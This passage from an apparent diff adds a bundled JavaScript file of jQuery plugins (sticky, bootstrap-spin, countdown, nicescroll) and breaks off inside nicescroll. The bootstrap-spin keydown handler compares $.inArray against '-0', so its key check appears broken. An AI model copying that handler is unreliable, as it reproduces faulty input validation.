e.history?e.history.replaceState({},t.title,e.location.pathname+e.location.search+(o.origHash||"")):e.location.hash=o.origHash),o.currentHash=null,clearTimeout(o.hashTimer))}}),n(e).on("hashchange.fb",function(){var t,e=o();n.each(n(".fancybox-container").get().reverse(),function(e,o){var i=n(o).data("FancyBox");if(i.currentHash)return t=i,!1}),t?!t.currentHash||t.currentHash===e.gallery+"-"+e.index||1===e.index&&t.currentHash==e.gallery||(t.currentHash=null,t.close()):""!==e.gallery&&i(e)}),setTimeout(function(){n.fancybox.getInstance()||i(o())},50))})}(document,window,window.jQuery||jQuery),function(t,e){"use strict";var n=(new Date).getTime();e(t).on({"onInit.fb":function(t,e,o){e.$refs.stage.on("mousewheel DOMMouseScroll wheel MozMousePixelScroll",function(t){var o=e.current,i=(new Date).getTime();e.group.length<2||o.opts.wheel===!1||"auto"===o.opts.wheel&&"image"!==o.type||(t.preventDefault(),t.stopPropagation(),o.$slide.hasClass("fancybox-animated")||(t=t.originalEvent||t,i-n<250||(n=i,e[(-t.deltaY||-t.deltaX||t.wheelDelta||-t.detail)<0?"next":"previous"]())))})}})}(document,window.jQuery||jQuery);
+
+
+/* Jquery.sticky.min.js
+-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 
+!function(t){"function"==typeof define&&define.amd?define(["jquery"],t):"object"==typeof module&&module.exports?module.exports=t(require("jquery")):t(jQuery)}(function(t){var e=Array.prototype.slice,i=Array.prototype.splice,n={topSpacing:0,bottomSpacing:0,className:"is-sticky",wrapperClassName:"sticky-wrapper",center:!1,getWidthFrom:"",widthFromWrapper:!0,responsiveWidth:!1,zIndex:"auto"},r=t(window),s=t(document),o=[],c=r.height(),a=function(){for(var e=r.scrollTop(),i=s.height(),n=i-c,a=e>n?n-e:0,p=0,d=o.length;p<d;p++){var l=o[p],u=l.stickyWrapper.offset().top,h=u-l.topSpacing-a;if(l.stickyWrapper.css("height",l.stickyElement.outerHeight()),e<=h)null!==l.currentTop&&(l.stickyElement.css({width:"",position:"",top:"","z-index":""}),l.stickyElement.parent().removeClass(l.className),l.stickyElement.trigger("sticky-end",[l]),l.currentTop=null);else{var g=i-l.stickyElement.outerHeight()-l.topSpacing-l.bottomSpacing-e-a;if(g<0?g+=l.topSpacing:g=l.topSpacing,l.currentTop!==g){var m;l.getWidthFrom?m=t(l.getWidthFrom).width()||null:l.widthFromWrapper&&(m=l.stickyWrapper.width()),null==m&&(m=l.stickyElement.width()),l.stickyElement.css("width",m).css("position","fixed").css("top",g).css("z-index",l.zIndex),l.stickyElement.parent().addClass(l.className),null===l.currentTop?l.stickyElement.trigger("sticky-start",[l]):l.stickyElement.trigger("sticky-update",[l]),l.currentTop===l.topSpacing&&l.currentTop>g||null===l.currentTop&&g<l.topSpacing?l.stickyElement.trigger("sticky-bottom-reached",[l]):null!==l.currentTop&&g===l.topSpacing&&l.currentTop<g&&l.stickyElement.trigger("sticky-bottom-unreached",[l]),l.currentTop=g}var y=l.stickyWrapper.parent(),f=l.stickyElement.offset().top+l.stickyElement.outerHeight()>=y.offset().top+y.outerHeight()&&l.stickyElement.offset().top<=l.topSpacing;f?l.stickyElement.css("position","absolute").css("top","").css("bottom",0).css("z-index",""):l.stickyElement.css("position","fixed").css("top",g).css("bottom","").css("z-index",l.zIndex)}}},p=function(){c=r.height();for(var e=0,i=o.length;e<i;e++){var n=o[e],s=null;n.getWidthFrom?n.responsiveWidth&&(s=t(n.getWidthFrom).width()):n.widthFromWrapper&&(s=n.stickyWrapper.width()),null!=s&&n.stickyElement.css("width",s)}},d={init:function(e){return this.each(function(){var i=t.extend({},n,e),r=t(this),s=r.attr("id"),c=s?s+"-"+n.wrapperClassName:n.wrapperClassName,a=t("<div></div>").attr("id",c).addClass(i.wrapperClassName);r.wrapAll(function(){if(0==t(this).parent("#"+c).length)return a});var p=r.parent();i.center&&p.css({width:r.outerWidth(),marginLeft:"auto",marginRight:"auto"}),"right"===r.css("float")&&r.css({float:"none"}).parent().css({float:"right"}),i.stickyElement=r,i.stickyWrapper=p,i.currentTop=null,o.push(i),d.setWrapperHeight(this),d.setupChangeListeners(this)})},setWrapperHeight:function(e){var i=t(e),n=i.parent();n&&n.css("height",i.outerHeight())},setupChangeListeners:function(t){if(window.MutationObserver){var e=new window.MutationObserver(function(e){(e[0].addedNodes.length||e[0].removedNodes.length)&&d.setWrapperHeight(t)});e.observe(t,{subtree:!0,childList:!0})}else window.addEventListener?(t.addEventListener("DOMNodeInserted",function(){d.setWrapperHeight(t)},!1),t.addEventListener("DOMNodeRemoved",function(){d.setWrapperHeight(t)},!1)):window.attachEvent&&(t.attachEvent("onDOMNodeInserted",function(){d.setWrapperHeight(t)}),t.attachEvent("onDOMNodeRemoved",function(){d.setWrapperHeight(t)}))},update:a,unstick:function(e){return this.each(function(){for(var e=this,n=t(e),r=-1,s=o.length;s-- >0;)o[s].stickyElement.get(0)===e&&(i.call(o,s,1),r=s);r!==-1&&(n.unwrap(),n.css({width:"",position:"",top:"",float:"","z-index":""}))})}};window.addEventListener?(window.addEventListener("scroll",a,!1),window.addEventListener("resize",p,!1)):window.attachEvent&&(window.attachEvent("onscroll",a),window.attachEvent("onresize",p)),t.fn.sticky=function(i){return d[i]?d[i].apply(this,e.call(arguments,1)):"object"!=typeof i&&i?void t.error("Method "+i+" does not exist on jQuery.sticky"):d.init.apply(this,arguments)},t.fn.unstick=function(i){return d[i]?d[i].apply(this,e.call(arguments,1)):"object"!=typeof i&&i?void t.error("Method "+i+" does not exist on jQuery.sticky"):d.unstick.apply(this,arguments)},t(function(){setTimeout(a,0)})});
+//# sourceMappingURL=jquery.sticky.min.js.map
+
+
+/* bootstrap-spin - v1.0
+-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 
+
+/* ========================================================================
+ * bootstrap-spin - v1.0
+ * https://github.com/wpic/bootstrap-spin
+ * ========================================================================
+ * Copyright 2014 WPIC, Hamed Abdollahpour
+ *
+ * ========================================================================
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ * ========================================================================
+ */
+
+(function ( $ ) {
+
+	$.fn.bootstrapNumber = function( options ) {
+
+		var settings = $.extend({
+			upClass: 'default',
+			downClass: 'default',
+			center: true
+			}, options );
+
+		return this.each(function(e) {
+			var self = $(this);
+			var clone = self.clone();
+
+			var min = self.attr('min');
+			var max = self.attr('max');
+
+			function setText(n) {
+				if((min && n < min) || (max && n > max)) {
+					return false;
+				}
+
+				clone.val(n);
+				return true;
+			}
+
+			var group = $("<div class='input-group'></div>");
+			var down = $("<button type='button'><span class='icon icon-minus'></span></button>").attr('class', 'btn btn-' + settings.downClass).click(function() {
+				setText(parseInt(clone.val()) - 1);
+			});
+			var up = $("<button type='button'><span class='icon icon-plus'></span></button>").attr('class', 'btn btn-' + settings.upClass).click(function() {
+				setText(parseInt(clone.val()) + 1);
+			});
+			$("<span class='input-group-btn'></span>").append(down).appendTo(group);
+			clone.appendTo(group);
+			if(clone) {
+				clone.css('text-align', 'center');
+			}
+			$("<span class='input-group-btn'></span>").append(up).appendTo(group);
+
+			// remove spins from original
+			clone.attr('type', 'text').keydown(function (e) {
+				if ($.inArray(e.keyCode, [46, 8, 9, 27, 13, 110, 190]) !== -0 ||
+					(e.keyCode == 65 && e.ctrlKey === true) || 
+					(e.keyCode >= 35 && e.keyCode <= 39)) {
+					return;
+				}
+				if ((e.shiftKey || (e.keyCode < 48 || e.keyCode > 57)) && (e.keyCode < 96 || e.keyCode > 105)) {				
+					e.preventDefault();
+				}
+
+				var c = String.fromCharCode(e.which);
+				var n = parseInt(clone.val() + c);
+
+				if((min && n < min) || (max && n > max)) {
+					e.preventDefault();
+				}
+			});
+
+			self.replaceWith(group);
+		});
+	};
+} ( jQuery ));
+
+
+/* Jquery Countdown
+-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ 
+
+/*!
+ * The Final Countdown for jQuery v2.2.0 (http://hilios.github.io/jQuery.countdown/)
+ * Copyright (c) 2016 Edson Hilios
+ * 
+ * Permission is hereby granted, free of charge, to any person obtaining a copy of
+ * this software and associated documentation files (the "Software"), to deal in
+ * the Software without restriction, including without limitation the rights to
+ * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+ * the Software, and to permit persons to whom the Software is furnished to do so,
+ * subject to the following conditions:
+ * 
+ * The above copyright notice and this permission notice shall be included in all
+ * copies or substantial portions of the Software.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+ * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+ * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+ * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+ * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ */
+!function(a){"use strict";"function"==typeof define&&define.amd?define(["jquery"],a):a(jQuery)}(function(a){"use strict";function b(a){if(a instanceof Date)return a;if(String(a).match(g))return String(a).match(/^[0-9]*$/)&&(a=Number(a)),String(a).match(/\-/)&&(a=String(a).replace(/\-/g,"/")),new Date(a);throw new Error("Couldn't cast `"+a+"` to a date object.")}function c(a){var b=a.toString().replace(/([.?*+^$[\]\\(){}|-])/g,"\\$1");return new RegExp(b)}function d(a){return function(b){var d=b.match(/%(-|!)?[A-Z]{1}(:[^;]+;)?/gi);if(d)for(var f=0,g=d.length;f<g;++f){var h=d[f].match(/%(-|!)?([a-zA-Z]{1})(:[^;]+;)?/),j=c(h[0]),k=h[1]||"",l=h[3]||"",m=null;h=h[2],i.hasOwnProperty(h)&&(m=i[h],m=Number(a[m])),null!==m&&("!"===k&&(m=e(l,m)),""===k&&m<10&&(m="0"+m.toString()),b=b.replace(j,m.toString()))}return b=b.replace(/%%/,"%")}}function e(a,b){var c="s",d="";return a&&(a=a.replace(/(:|;|\s)/gi,"").split(/\,/),1===a.length?c=a[0]:(d=a[0],c=a[1])),Math.abs(b)>1?c:d}var f=[],g=[],h={precision:100,elapse:!1,defer:!1};g.push(/^[0-9]*$/.source),g.push(/([0-9]{1,2}\/){2}[0-9]{4}( [0-9]{1,2}(:[0-9]{2}){2})?/.source),g.push(/[0-9]{4}([\/\-][0-9]{1,2}){2}( [0-9]{1,2}(:[0-9]{2}){2})?/.source),g=new RegExp(g.join("|"));var i={Y:"years",m:"months",n:"daysToMonth",d:"daysToWeek",w:"weeks",W:"weeksToMonth",H:"hours",M:"minutes",S:"seconds",D:"totalDays",I:"totalHours",N:"totalMinutes",T:"totalSeconds"},j=function(b,c,d){this.el=b,this.$el=a(b),this.interval=null,this.offset={},this.options=a.extend({},h),this.instanceNumber=f.length,f.push(this),this.$el.data("countdown-instance",this.instanceNumber),d&&("function"==typeof d?(this.$el.on("update.countdown",d),this.$el.on("stoped.countdown",d),this.$el.on("finish.countdown",d)):this.options=a.extend({},h,d)),this.setFinalDate(c),this.options.defer===!1&&this.start()};a.extend(j.prototype,{start:function(){null!==this.interval&&clearInterval(this.interval);var a=this;this.update(),this.interval=setInterval(function(){a.update.call(a)},this.options.precision)},stop:function(){clearInterval(this.interval),this.interval=null,this.dispatchEvent("stoped")},toggle:function(){this.interval?this.stop():this.start()},pause:function(){this.stop()},resume:function(){this.start()},remove:function(){this.stop.call(this),f[this.instanceNumber]=null,delete this.$el.data().countdownInstance},setFinalDate:function(a){this.finalDate=b(a)},update:function(){if(0===this.$el.closest("html").length)return void this.remove();var b,c=void 0!==a._data(this.el,"events"),d=new Date;b=this.finalDate.getTime()-d.getTime(),b=Math.ceil(b/1e3),b=!this.options.elapse&&b<0?0:Math.abs(b),this.totalSecsLeft!==b&&c&&(this.totalSecsLeft=b,this.elapsed=d>=this.finalDate,this.offset={seconds:this.totalSecsLeft%60,minutes:Math.floor(this.totalSecsLeft/60)%60,hours:Math.floor(this.totalSecsLeft/60/60)%24,days:Math.floor(this.totalSecsLeft/60/60/24)%7,daysToWeek:Math.floor(this.totalSecsLeft/60/60/24)%7,daysToMonth:Math.floor(this.totalSecsLeft/60/60/24%30.4368),weeks:Math.floor(this.totalSecsLeft/60/60/24/7),weeksToMonth:Math.floor(this.totalSecsLeft/60/60/24/7)%4,months:Math.floor(this.totalSecsLeft/60/60/24/30.4368),years:Math.abs(this.finalDate.getFullYear()-d.getFullYear()),totalDays:Math.floor(this.totalSecsLeft/60/60/24),totalHours:Math.floor(this.totalSecsLeft/60/60),totalMinutes:Math.floor(this.totalSecsLeft/60),totalSeconds:this.totalSecsLeft},this.options.elapse||0!==this.totalSecsLeft?this.dispatchEvent("update"):(this.stop(),this.dispatchEvent("finish")))},dispatchEvent:function(b){var c=a.Event(b+".countdown");c.finalDate=this.finalDate,c.elapsed=this.elapsed,c.offset=a.extend({},this.offset),c.strftime=d(this.offset),this.$el.trigger(c)}}),a.fn.countdown=function(){var b=Array.prototype.slice.call(arguments,0);return this.each(function(){var c=a(this).data("countdown-instance");if(void 0!==c){var d=f[c],e=b[0];j.prototype.hasOwnProperty(e)?d[e].apply(d,b.slice(1)):null===String(e).match(/^[$A-Z_][0-9A-Z_$]*$/i)?(d.setFinalDate.call(d,e),d.start()):a.error("Method %s does not exist on jQuery.countdown".replace(/\%s/gi,e))}else new j(this,b[0],b[1])})}});
+
+
+/* JQuery.nicescroll 3.6.8
+-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+
+/* jquery.nicescroll 3.6.8 InuYaksa*2015 MIT http://nicescroll.areaaperta.com */(function(f){"function"===typeof define&&define.amd?define(["jquery"],f):"object"===typeof exports?module.exports=f(require("jquery")):f(jQuery)})(function(f){var B=!1,F=!1,O=0,P=2E3,A=0,J=["webkit","ms","moz","o"],v=window.requestAnimationFrame||!1,w=window.cancelAnimationFrame||!1;if(!v)for(var Q in J){var G=J[Q];if(v=window[G+"RequestAnimationFrame"]){w=window[G+"CancelAnimationFrame"]||window[G+"CancelRequestAnimationFrame"];break}}var x=window.MutationObserver||window.WebKitMutationObserver||
+!1,K={zindex:"auto",cursoropacitymin:0,cursoropacitymax:1,cursorcolor:"#424242",cursorwidth:"6px",cursorborder:"1px solid #fff",cursorborderradius:"5px",scrollspeed:60,mousescrollstep:24,touchbehavior:!1,hwacceleration:!0,usetransition:!0,boxzoom:!1,dblclickzoom:!0,gesturezoom:!0,grabcursorenabled:!0,autohidemode:!0,background:"",iframeautoresize:!0,cursorminheight:32,preservenativescrolling:!0,railoffset:!1,railhoffset:!1,bouncescroll:!0,spacebarenabled:!0,railpadding:{top:0,right:0,left:0,bottom:0},
+disableoutline:!0,horizrailenabled:!0,railalign:"right",railvalign:"bottom",enabletranslate3d:!0,enablemousewheel:!0,enablekeyboard:!0,smoothscroll:!0,sensitiverail:!0,enablemouselockapi:!0,cursorfixedheight:!1,directionlockdeadzone:6,hidecursordelay:400,nativeparentscrolling:!0,enablescrollonselection:!0,overflowx:!0,overflowy:!0,cursordragspeed:.3,rtlmode:"auto",cursordragontouch:!1,oneaxismousemode:"auto",scriptpath:function(){var f=document.getElementsByTagName("script"),f=f.length?f[f.length-
+1].src.split("?")[0]:"";return 0<f.split("/").length?f.split("/").slice(0,-1).join("/")+"/":""}(),preventmultitouchscrolling:!0,disablemutationobserver:!1},H=!1,R=function(){if(H)return H;var f=document.createElement("DIV"),c=f.style,k=navigator.userAgent,l=navigator.platform,d={haspointerlock:"pointerLockElement"in document||"webkitPointerLockElement"in document||"mozPointerLockElement"in document};d.isopera="opera"in window;d.isopera12=d.isopera&&"getUserMedia"in navigator;d.isoperamini="[object OperaMini]"===
+Object.prototype.toString.call(window.operamini);d.isie="all"in document&&"attachEvent"in f&&!d.isopera;d.isieold=d.isie&&!("msInterpolationMode"in c);d.isie7=d.isie&&!d.isieold&&(!("documentMode"in document)||7==document.documentMode);d.isie8=d.isie&&"documentMode"in document&&8==document.documentMode;d.isie9=d.isie&&"performance"in window&&9==document.documentMode;d.isie10=d.isie&&"performance"in window&&10==document.documentMode;d.isie11="msRequestFullscreen"in f&&11<=document.documentMode;d.isieedge12=
+navigator.userAgent.match(/Edge\/12\./);d.isieedge="msOverflowStyle"in f;d.ismodernie=d.isie11||d.isieedge;d.isie9mobile=/iemobile.9/i.test(k);d.isie9mobile&&(d.isie9=!1);d.isie7mobile=!d.isie9mobile&&d.isie7&&/iemobile/i.test(k);d.ismozilla="MozAppearance"in c;d.iswebkit="WebkitAppearance"in c;d.ischrome="chrome"in window;d.ischrome38=d.ischrome&&"touchAction"in c;d.ischrome22=!d.ischrome38&&d.ischrome&&d.haspointerlock;d.ischrome26=!d.ischrome38&&d.ischrome&&"transition"in c;d.cantouch="ontouchstart"in
+document.documentElement||"ontouchstart"in window;d.hasw3ctouch=(window.PointerEvent||!1)&&(0<navigator.MaxTouchPoints||0<navigator.msMaxTouchPoints);d.hasmstouch=!d.hasw3ctouch&&(window.MSPointerEvent||!1);d.ismac=/^mac$/i.test(l);d.isios=d.cantouch&&/iphone|ipad|ipod/i.test(l);d.isios4=d.isios&&!("seal"in Object);d.isios7=d.isios&&"webkitHidden"in document;d.isios8=d.isios&&"hidden"in document;d.isandroid=/android/i.test(k);d.haseventlistener="addEventListener"in f;d.trstyle=!1;d.hastransform=!1;
+d.hastranslate3d=!1;d.transitionstyle=!1;d.hastransition=!1;d.transitionend=!1;l=["transform","msTransform","webkitTransform","MozTransform","OTransform"];for(k=0;k<l.length;k++)if(void 0!==c[l[k]]){d.trstyle=l[k];break}d.hastransform=!!d.trstyle;d.hastransform&&(c[d.trstyle]="translate3d(1px,2px,3px)",d.hastranslate3d=/translate3d/.test(c[d.trstyle]));d.transitionstyle=!1;d.prefixstyle="";d.transitionend=!1;for(var l="transition webkitTransition msTransition MozTransition OTransition OTransition KhtmlTransition".split(" "),
+q=" -webkit- -ms- -moz- -o- -o -khtml-".split(" "),t="transitionend webkitTransitionEnd msTransitionEnd transitionend otransitionend oTransitionEnd KhtmlTransitionEnd".split(" "),k=0;k<l.length;k++)if(l[k]in c){d.transitionstyle=l[k];d.prefixstyle=q[k];d.transitionend=t[k];break}d.ischrome26&&(d.prefixstyle=q[1]);d.hastransition=d.transitionstyle;a:{k=["grab","-webkit-grab","-moz-grab"];if(d.ischrome&&!d.ischrome38||d.isie)k=[];for(l=0;l<k.length;l++)if(q=k[l],c.cursor=q,c.cursor==q){c=q;break a}c=
+"url(//patriciaportfolio.googlecode.com/files/openhand.cur),n-resize"}d.cursorgrabvalue=c;d.hasmousecapture="setCapture"in f;d.hasMutationObserver=!1!==x;return H=d},S=function(h,c){function k(){var b=a.doc.css(e.trstyle);return b&&"matrix"==b.substr(0,6)?b.replace(/^.*\((.*)\)$/g,"$1").replace(/px/g,"").split(/, +/):!1}function l(){var b=a.win;if("zIndex"in b)return b.zIndex();for(;0<b.length&&9!=b[0].nodeType;){var g=b.css("zIndex");if(!isNaN(g)&&0!=g)return parseInt(g);b=b.parent()}return!1}function d(b,
+g,u){g=b.css(g);b=parseFloat(g);return isNaN(b)?(b=z[g]||0,u=3==b?u?a.win.outerHeight()-a.win.innerHeight():a.win.outerWidth()-a.win.innerWidth():1,a.isie8&&b&&(b+=1),u?b:0):b}function q(b,g,u,c){a._bind(b,g,function(a){a=a?a:window.event;var c={original:a,target:a.target||a.srcElement,type:"wheel",deltaMode:"MozMousePixelScroll"==a.type?0:1,deltaX:0,deltaZ:0,preventDefault:function(){a.preventDefault?a.preventDefault():a.returnValue=!1;return!1},stopImmediatePropagation:function(){a.stopImmediatePropagation?
+a.stopImmediatePropagation():a.cancelBubble=!0}};"mousewheel"==g?(a.wheelDeltaX&&(c.deltaX=-.025*a.wheelDeltaX),a.wheelDeltaY&&(c.deltaY=-.025*a.wheelDeltaY),c.deltaY||c.deltaX||(c.deltaY=-.025*a.wheelDelta)):c.deltaY=a.detail;return u.call(b,c)},c)}function t(b,g,c){var d,e;0==b.deltaMode?(d=-Math.floor(a.opt.mousescrollstep/54*b.deltaX),e=-Math.floor(a.opt.mousescrollstep/54*b.deltaY)):1==b.deltaMode&&(d=-Math.floor(b.deltaX*a.opt.mousescrollstep),e=-Math.floor(b.deltaY*a.opt.mousescrollstep));
+g&&a.opt.oneaxismousemode&&0==d&&e&&(d=e,e=0,c&&(0>d?a.getScrollLeft()>=a.page.maxw:0>=a.getScrollLeft())&&(e=d,d=0));a.isrtlmode&&(d=-d);d&&(a.scrollmom&&a.scrollmom.stop(),a.lastdeltax+=d,a.debounced("mousewheelx",function(){var b=a.lastdeltax;a.lastdeltax=0;a.rail.drag||a.doScrollLeftBy(b)},15));if(e){if(a.opt.nativeparentscrolling&&c&&!a.ispage&&!a.zoomactive)if(0>e){if(a.getScrollTop()>=a.page.maxh)return!0}else if(0>=a.getScrollTop())return!0;a.scrollmom&&a.scrollmom.stop();a.lastdeltay+=e;
+a.synched("mousewheely",function(){var b=a.lastdeltay;a.lastdeltay=0;a.rail.drag||a.doScrollBy(b)},15)}b.stopImmediatePropagation();return b.preventDefault()}var a=this;this.version="3.6.8";this.name="nicescroll";this.me=c;this.opt={doc:f("body"),win:!1};f.extend(this.opt,K);this.opt.snapbackspeed=80;if(h)for(var r in a.opt)void 0!==h[r]&&(a.opt[r]=h[r]);a.opt.disablemutationobserver&&(x=!1);this.iddoc=(this.doc=a.opt.doc)&&this.doc[0]?this.doc[0].id||"":"";this.ispage=/^BODY|HTML/.test(a.opt.win?
+a.opt.win[0].nodeName:this.doc[0].nodeName);this.haswrapper=!1!==a.opt.win;this.win=a.opt.win||(this.ispage?f(window):this.doc);this.docscroll=this.ispage&&!this.haswrapper?f(window):this.win;this.body=f("body");this.iframe=this.isfixed=this.viewport=!1;this.isiframe="IFRAME"==this.doc[0].nodeName&&"IFRAME"==this.win[0].nodeName;this.istextarea="TEXTAREA"==this.win[0].nodeName;this.forcescreen=!1;this.canshowonmouseevent="scroll"!=a.opt.autohidemode;this.page=this.view=this.onzoomout=this.onzoomin=
+this.onscrollcancel=this.onscrollend=this.onscrollstart=this.onclick=this.ongesturezoom=this.onkeypress=this.onmousewheel=this.onmousemove=this.onmouseup=this.onmousedown=!1;this.scroll={x:0,y:0};this.scrollratio={x:0,y:0};this.cursorheight=20;this.scrollvaluemax=0;if("auto"==this.opt.rtlmode){r=this.win[0]==window?this.body:this.win;var p=r.css("writing-mode")||r.css("-webkit-writing-mode")||r.css("-ms-writing-mode")||r.css("-moz-writing-mode");"horizontal-tb"==p||"lr-tb"==p||""==p?(this.isrtlmode=
+"rtl"==r.css("direction"),this.isvertical=!1):(this.isrtlmode="vertical-rl"==p||"tb"==p||"tb-rl"==p||"rl-tb"==p,this.isvertical="vertical-rl"==p||"tb"==p||"tb-rl"==p)}else this.isrtlmode=!0===this.opt.rtlmode,this.isvertical=!1;this.observerbody=this.observerremover=this.observer=this.scrollmom=this.scrollrunning=!1;do this.id="ascrail"+P++;while(document.getElementById(this.id));this.hasmousefocus=this.hasfocus=this.zoomactive=this.zoom=this.selectiondrag=this.cursorfreezed=this.cursor=this.rail=
+!1;this.visibility=!0;this.hidden=this.locked=this.railslocked=!1;this.cursoractive=!0;this.wheelprevented=!1;this.overflowx=a.opt.overflowx;this.overflowy=a.opt.overflowy;this.nativescrollingarea=!1;this.checkarea=0;this.events=[];this.saved={};this.delaylist={};this.synclist={};this.lastdeltay=this.lastdeltax=0;this.detected=R();var e=f.extend({},this.detected);this.ishwscroll=(this.canhwscroll=e.hastransform&&a.opt.hwacceleration)&&a.haswrapper;this.hasreversehr=this.isrtlmode?this.isvertical?
+!(e.iswebkit||e.isie||e.isie11):!(e.iswebkit||e.isie&&!e.isie10&&!e.isie11):!1;this.istouchcapable=!1;e.cantouch||!e.hasw3ctouch&&!e.hasmstouch?!e.cantouch||e.isios||e.isandroid||!e.iswebkit&&!e.ismozilla||(this.istouchcapable=!0):this.istouchcapable=!0;a.opt.enablemouselockapi||(e.hasmousecapture=!1,e.haspointerlock=!1);this.debounced=function(b,g,c){a&&(a.delaylist[b]||(g.call(a),a.delaylist[b]={h:v(function(){a.delaylist[b].fn.call(a);a.delaylist[b]=!1},c)}),a.delaylist[b].fn=g)};var I=!1;this.synched=
+function(b,g){a.synclist[b]=g;(function(){I||(v(function(){if(a){I=!1;for(var b in a.synclist){var g=a.synclist[b];g&&g.call(a);a.synclist[b]=!1}}}),I=!0)})();return b};this.unsynched=function(b){a.synclist[b]&&(a.synclist[b]=!1)};this.css=function(b,g){for(var c in g)a.saved.css.push([b,c,b.css(c)]),b.css(c,g[c])};this.scrollTop=function(b){return void 0===b?a.getScrollTop():a.setScrollTop(b)};this.scrollLeft=function(b){return void 0===b?a.getScrollLeft():a.setScrollLeft(b)};var D=function(a,g,
+c,d,e,f,k){this.st=a;this.ed=g;this.spd=c;this.p1=d||0;this.p2=e||1;this.p3=f||0;this.p4=k||1;this.ts=(new Date).getTime();this.df=this.ed-this.st};D.prototype={B2:function(a){return 3*a*a*(1-a)},B3:function(a){return 3*a*(1-a)*(1-a)},B4:function(a){return(1-a)*(1-a)*(1-a)},getNow:function(){var a=1-((new Date).getTime()-this.ts)/this.spd,g=this.B2(a)+this.B3(a)+this.B4(a);return 0>a?this.ed:this.st+Math.round(this.df*g)},update:function(a,g){this.st=this.getNow();this.ed=a;this.spd=g;this.ts=(new Date).getTime();
+this.df=this.ed-this.st;return this}};if(this.ishwscroll){this.doc.translate={x:0,y:0,tx:"0px",ty:"0px"};e.hastranslate3d&&e.isios&&this.doc.css("-webkit-backface-visibility","hidden");this.getScrollTop=function(b){if(!b){if(b=k())return 16==b.length?-b[13]:-b[5];if(a.timerscroll&&a.timerscroll.bz)return a.timerscroll.bz.getNow()}return a.doc.translate.y};this.getScrollLeft=function(b){if(!b){if(b=k())return 16==b.length?-b[12]:-b[4];if(a.timerscroll&&a.timerscroll.bh)return a.timerscroll.bh.getNow()}return a.doc.translate.x};
+this.notifyScrollEvent=function(a){var g=document.createEvent("UIEvents");g.initUIEvent("scroll",!1,!0,window,1);g.niceevent=!0;a.dispatchEvent(g)};var y=this.isrtlmode?1:-1;e.hastranslate3d&&a.opt.enabletranslate3d?(this.setScrollTop=function(b,g){a.doc.translate.y=b;a.doc.translate.ty=-1*b+"px";a.doc.css(e.trstyle,"translate3d("+a.doc.translate.tx+","+a.doc.translate.ty+",0px)");g||a.notifyScrollEvent(a.win[0])},this.setScrollLeft=function(b,g){a.doc.translate.x=b;a.doc.translate.tx=b*y+"px";a.doc.css(e.trstyle,
+"translate3d("+a.doc.translate.tx+","+a.doc.translate.ty+",0px)");g||a.notifyScrollEvent(a.win[0])}):(this.setScrollTop=function(b,g){a.doc.translate.y=b;a.doc.translate.ty=-1*b+"px";a.doc.css(e.trstyle,"translate("+a.doc.translate.tx+","+a.doc.translate.ty+")");g||a.notifyScrollEvent(a.win[0])},this.setScrollLeft=function(b,g){a.doc.translate.x=b;a.doc.translate.tx=b*y+"px";a.doc.css(e.trstyle,"translate("+a.doc.translate.tx+","+a.doc.translate.ty+")");g||a.notifyScrollEvent(a.win[0])})}else this.getScrollTop=
+function(){return a.docscroll.scrollTop()},this.setScrollTop=function(b){return setTimeout(function(){a&&a.docscroll.scrollTop(b)},1)},this.getScrollLeft=function(){return a.hasreversehr?a.detected.ismozilla?a.page.maxw-Math.abs(a.docscroll.scrollLeft()):a.page.maxw-a.docscroll.scrollLeft():a.docscroll.scrollLeft()},this.setScrollLeft=function(b){return setTimeout(function(){if(a)return a.hasreversehr&&(b=a.detected.ismozilla?-(a.page.maxw-b):a.page.maxw-b),a.docscroll.scrollLeft(b)},1)};this.getTarget=
+function(a){return a?a.target?a.target:a.srcElement?a.srcElement:!1:!1};this.hasParent=function(a,g){if(!a)return!1;for(var c=a.target||a.srcElement||a||!1;c&&c.id!=g;)c=c.parentNode||!1;return!1!==c};var z={thin:1,medium:3,thick:5};this.getDocumentScrollOffset=function(){return{top:window.pageYOffset||document.documentElement.scrollTop,left:window.pageXOffset||document.documentElement.scrollLeft}};this.getOffset=function(){if(a.isfixed){var b=a.win.offset(),g=a.getDocumentScrollOffset();b.top-=g.top;
+b.left-=g.left;return b}b=a.win.offset();if(!a.viewport)return b;g=a.viewport.offset();return{top:b.top-g.top,left:b.left-g.left}};this.updateScrollBar=function(b){var g,c,e;if(a.ishwscroll)a.rail.css({height:a.win.innerHeight()-(a.opt.railpadding.top+a.opt.railpadding.bottom)}),a.railh&&a.railh.css({width:a.win.innerWidth()-(a.opt.railpadding.left+a.opt.railpadding.right)});else{var f=a.getOffset();g=f.top;c=f.left-(a.opt.railpadding.left+a.opt.railpadding.right);g+=d(a.win,"border-top-width",!0);
